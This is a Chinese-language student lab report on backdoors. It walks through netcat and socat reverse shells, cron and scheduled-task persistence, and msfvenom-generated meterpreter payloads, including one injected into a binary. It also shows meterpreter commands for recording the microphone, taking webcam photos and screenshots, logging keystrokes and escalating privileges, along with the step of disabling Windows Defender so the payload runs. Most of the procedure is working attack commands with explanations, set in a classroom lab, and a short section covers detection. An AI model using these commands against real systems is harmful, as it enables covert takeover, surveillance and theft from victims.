一. 實驗內容
- 實踐目標
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
- 回答問題
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
攻擊者透過電子郵件附件、惡意網站、即時訊息或其他社會工程手段將含有惡意程式碼的檔案傳送給目標使用者。
使用者無意中開啟了包含惡意程式碼的檔案,觸發了漏洞利用。
惡意程式碼利用該漏洞獲取系統許可權,並安裝了一個後門程式,該程式允許攻擊者遠端控制使用者的計算機而不被察覺。
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
-
Linux中:
透過cron將後門設定為定時啟動,透過反彈式連線到客戶端,然後惡意控制啟動後門。
建立一個 systemd 服務單元檔案(.service 檔案),並將其放置在 /etc/systemd/system/ 目錄下,然後使用 systemctl enable 命令啟用。 -
Windows中:
攻擊者將後門捆綁植入到各種正常的檔案、程式中,當開啟這些檔案程式時,後門被啟動。
利用 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 或 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 登錄檔鍵來設定後門程式隨系統啟動自動執行。
透過修改系統或其他合法應用程式的載入路徑,插入惡意DLL,從而在這些應用程式啟動時載入後門程式。
(3)Meterpreter有哪些給你映像深刻的功能?
Meterpreter提供了一些嘗試提升許可權的技術,可以利用本地系統賬戶或利用已知的漏洞。
meterpreter可以將shellcode捆綁在某個軟體上,這樣給受害者帶來極大迷惑性,防不勝防。
(4)如何發現自己有系統有沒有被安裝後門?
- 更新系統和軟體,確保所有的作業系統補丁、應用程式更新都已經安裝。許多後門都是利用已知的漏洞進行安裝的。
- 使用反病毒和反惡意軟體工具。
- 監控系統日誌,檢查系統和應用程式的日誌檔案,尋找異常活動的跡象。
- 檢查開放埠和服務使用網路掃描工具來檢查系統是否有異常開放的埠和服務。
- 檢視啟動項和服務,尋找可疑的新條目或配置更改。
1.3 本週學習內容
(1)後門概念
後門就是不經過正常認證流程而訪問系統的通道。
(2)後門案例
蘋果xcode被植入惡意程式碼(供應鏈攻擊)、CCleaner、阿里雲發現Log4j 2 核彈級漏洞
(3)後門技術
管控功能實現技術、自啟動技術、程序隱藏技術、資料穿透與躲避技術
二. 實驗過程
- 使用netcat獲取主機操作Shell,cron啟動某項任務
在windows命令列輸入:ncat.exe -l -p 2313
在kali命令列裡登入root使用者,輸入:nc 192.168.3.58 2313 -e /bin/sh
這時在windows命令列裡輸入ls,能夠成功查詢kali的檔案:
可以看到,kali成功獲取了windows的shell。
輸入crontab -e
,選擇2
按i進入INSERT模式,輸入30 * * * * /bin/netcat 192.168.3.58 2313 -e /bin/sh
輸入cron -l
檢視時程表:
進入 ,使用管理員許可權開啟,可以看到一個root檔案:
在windows命令列裡輸入echo "* * * * * echo "20222313" > /home/ranhaoning/2313_1.txt" > /var/spool/cron/crontabs/root
,輸入crontab -l
在kali的對於檔案裡可以看到,20222313已經被成功寫入:
- 使用socat獲取主機操作Shell,任務計劃啟動
在windows終端中開啟socat.exe所在的資料夾,輸入socat.exe tcp-listen:2313 exec:cmd.exe,pty,stderr
下載socat。
在kali終端中輸入socat - tcp:192.168.3.58:2313
,下載socat。
編寫一個程式:
在Linux上啟用Windows的程式,透過命令列建立任務計劃,在shell裡輸入命令:
schtasks /create /sc minute /mo 1 /tn "20222313rhn" /tr C:\Users\Desktop\.exe
(每一分鐘執行一次我寫的這個程式:)
開啟計算機管理,可以看到目前正在活動的任務“20222313rhn”:
- 使用MSF meterpreter生成後門,利用ncat或socat傳送到主機並執行獲取主機Shell
這一步之前先把windows的防火牆和防毒軟體關閉。
在kali命令列中輸入ifconfig
檢視虛擬機器的ip地址。
可以看到,kail主機的ip地址是192.168.58.132。
下面我們來拆解一條命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.132 LPORT=2313 -f exe > 2313backdoor.exe
:
- LHOST=192.168.58.132是shell連線的主機ip地址
- LPORT=2313是攻擊者監聽的埠號
- -f exe指定了 payload 的格式,這裡是exe
- 2313backdoor.exe是生成的惡意可執行檔案
因此,輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.132 LPORT=2313 -f exe > 2313backdoor.exe
,使用msfvenom工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到一個可執行檔案2313backdoor.exe
主機進入ncat目錄下,輸入ncat.exe -lv 2313 > "C:\Users\lenovo\Desktop\2313backdoor.exe"
,該命令可以監聽2313視窗等待接收可執行檔案2313backdoor.exe,並將2313backdoor.exe檔案存放在桌面上。
在kali終端中輸入nc 192.168.3.58 2313 < 2313backdoor.exe
,將生成的後門檔案2313backdoor.exe傳給主機。
windows桌面成功找到2313backdoor.exe後門可執行程式。
在kali終端輸入以下命令:
msfconsole
use exploit/multi/handler
(使用監聽模組,設定payload)
set payload windows/meterpreter/reverse_tcp
(使用和生成後門程式時相同的payload)
set LHOST 192.168.3.58
(攻擊機的IP地址)
set LPORT 2313
(監聽的埠)
exploit
(執行監聽模組)
因虛擬機器網路卡和主機網路卡衝突問題,短期實在沒有解決,下列實驗步驟在20222326王蓉同學的電腦上繼續完成,感謝老師的理解!
因虛擬機器網路卡和主機網路卡衝突問題,短期實在沒有解決,下列實驗步驟在20222326王蓉同學的電腦上繼續完成,感謝老師的理解!
因虛擬機器網路卡和主機網路卡衝突問題,短期實在沒有解決,下列實驗步驟在20222326王蓉同學的電腦上繼續完成,感謝老師的理解!
在windows終端執行後門程式。
這時,可以在kali中輸入ls
檢視主機目錄,說明已經與主機連線成功:
- 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容
繼續輸入命令:
record_mic
音訊
screenshot
截圖
webcam_snap
拍照
keyscan_start
開始讀取鍵盤記錄
keyscan_dump
讀取鍵盤記錄結束
音訊檔案:
截圖:
拍照:
讀取鍵盤記錄:
- 提權
輸入命令:
getuid
檢視當前使用者
getsystem
提權指令
- 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
在kali命令列下輸入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.132 LPORT=8888 -x /home/r20222326/pwn2 -f elf > 20222313_1pwn
(使用了msfvenom 工具生成一個 Meterpreter 反向 TCP shell的 payload,並將其注入到指定的可執行檔案中,然後將結果輸出到一個名為 20222313_1pwn的檔案中。)
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 型別。
LHOST=192.168.85.132:目標主機 IP 地址為 192.168.85.132,這裡即虛擬機器IP地址。
LPORT=8888:設定 Meterpreter shell 使用的本地埠號為 8888。
-x /mnt/hgfs/share/pwn1:指定一個可執行檔案作為模板,生成的 payload 將會注入到該檔案中。
-f elf:指定輸出檔案的格式為 ELF 格式,適用於 Linux 系統的可執行檔案格式。
輸入chmod a+x 20222313_1pwn
對檔案賦予許可權:
接下來重現監聽過程,輸入命令:
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.85.132
set LPORT 8888
exploit
開啟另一個shell,輸入./20222313_1pwn
執行生成的20222313_1pwn檔案(需要使用root許可權)
回到第一個shell,輸入ls
確認連線,成功實現遠端控制shell
三、 問題
- 問題:windows執行20222313backdoor.exe後門程式時顯示版本與電腦不相容:
解決辦法:在kali中生成後門檔案時改變編碼方式,程式得以成功執行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.132 LPORT=2313 -f exe -a x86 --platform windows > 2313backdoor.exe
- 問題:從虛擬機器中傳送後門檔案到主機時會被Windows defender查殺。
解決方法:關閉Windows防火牆和實時保護。
四、實驗感悟和思考
透過這次實驗,我對後門的基本原理和實際應用有了深入的理解,掌握了 ncat、socat 以及 MSF meterpreter 等工具的使用方法,這些工具不僅強大而且靈活,能夠在模擬環境中重現真實世界的攻擊場景。透過實際操作,我真切地感受到了後門的強大威力——它們能夠在不知不覺中給予攻擊者對系統的完全控制權。
實驗中最令人印象深刻的部分是模擬了一個簡單的後門攻擊。我建立了一個包含惡意程式碼的檔案,並透過社交工程手段讓“受害者”執行該檔案。結果,我成功獲得了對該系統的遠端控制權,一旦使用者不小心點選了未知來源的檔案,計算機就可能被輕易地控制。
我還學到了一些實用的安全措施,例如定期更新系統和應用程式、使用強密碼、啟用雙重認證以及安裝和維護可靠的防毒軟體。這些都是預防後門入侵的有效手段。然而,隨著實驗的深入,我逐漸意識到後門帶來的不僅僅是技術上的挑戰,更是對個人隱私和網路安全的巨大威脅。這次實驗不僅增強了我的技術能力,更重要的是提高了我的安全意識。在網路活動中,我們必須始終保持警惕,從正規渠道下載軟體,並且不隨意開啟來歷不明的連結或附件。只有這樣,才能最大限度地保護我們的個人資訊和資產安全,不讓不法分子有機可乘。